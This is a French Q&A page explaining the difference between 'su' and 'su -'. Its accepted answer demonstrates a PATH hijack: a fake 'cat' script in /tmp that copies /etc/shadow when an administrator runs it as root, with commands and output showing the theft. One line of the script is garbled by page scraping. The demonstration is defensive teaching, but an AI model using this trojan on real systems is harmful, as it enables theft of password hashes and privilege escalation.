GNU/Linux >> Tutoriels Linux >  >> Linux

Linux - Pourquoi utilisons-nous Su - Et pas seulement Su ?

Je ne comprends pas pourquoi su - est préféré à su pour vous connecter en tant que root.

Réponse acceptée :

su - appelle un shell de connexion après avoir changé d'utilisateur. Un shell de connexion réinitialise la plupart des variables d'environnement, fournissant une base propre.

su change simplement d'utilisateur, fournissant un shell normal avec un environnement presque identique à celui de l'ancien utilisateur.

Imaginez, vous êtes un développeur de logiciels avec un accès utilisateur normal à une machine et votre administrateur ignorant ne vous donnera tout simplement pas un accès root. Allons (espérons-le) le piéger.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Maintenant, vous demandez à votre administrateur pourquoi vous ne pouvez pas cat le fichier factice dans votre dossier personnel, cela ne fonctionnera tout simplement pas !

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Si votre administrateur n'est pas très intelligent ou juste un peu paresseux, il peut venir à votre bureau et essayer avec ses pouvoirs de super-utilisateur :

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Ouah! Merci, super administrateur !

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Il, il.

Vous avez peut-être remarqué que le $PATH corrompu la variable n'a pas été réinitialisée. Cela ne serait pas arrivé si l'administrateur avait appelé su - à la place.


Linux
  1. Pourquoi j'utilise Linux pour gérer mon studio de yoga

  2. Comment installer et utiliser Flatpak sous Linux

  3. Comment installer et utiliser Traceroute sous Linux

  4. Pourquoi est-ce Rm -rf et non Rmdir -rf ?

  5. Pourquoi utilisons-nous su - et pas seulement su ?

Installer et utiliser Linuxbrew dans le système d'exploitation Linux

Comment installer et utiliser phpMyAdmin sous Linux

Comment installer et utiliser la commande fd sous Linux

Comment installer et utiliser Nu Shell sous Linux

Linux vs Mac OS :15 raisons d'utiliser Linux au lieu de Mac OS

Comment et pourquoi utiliser Linux pour installer Telnet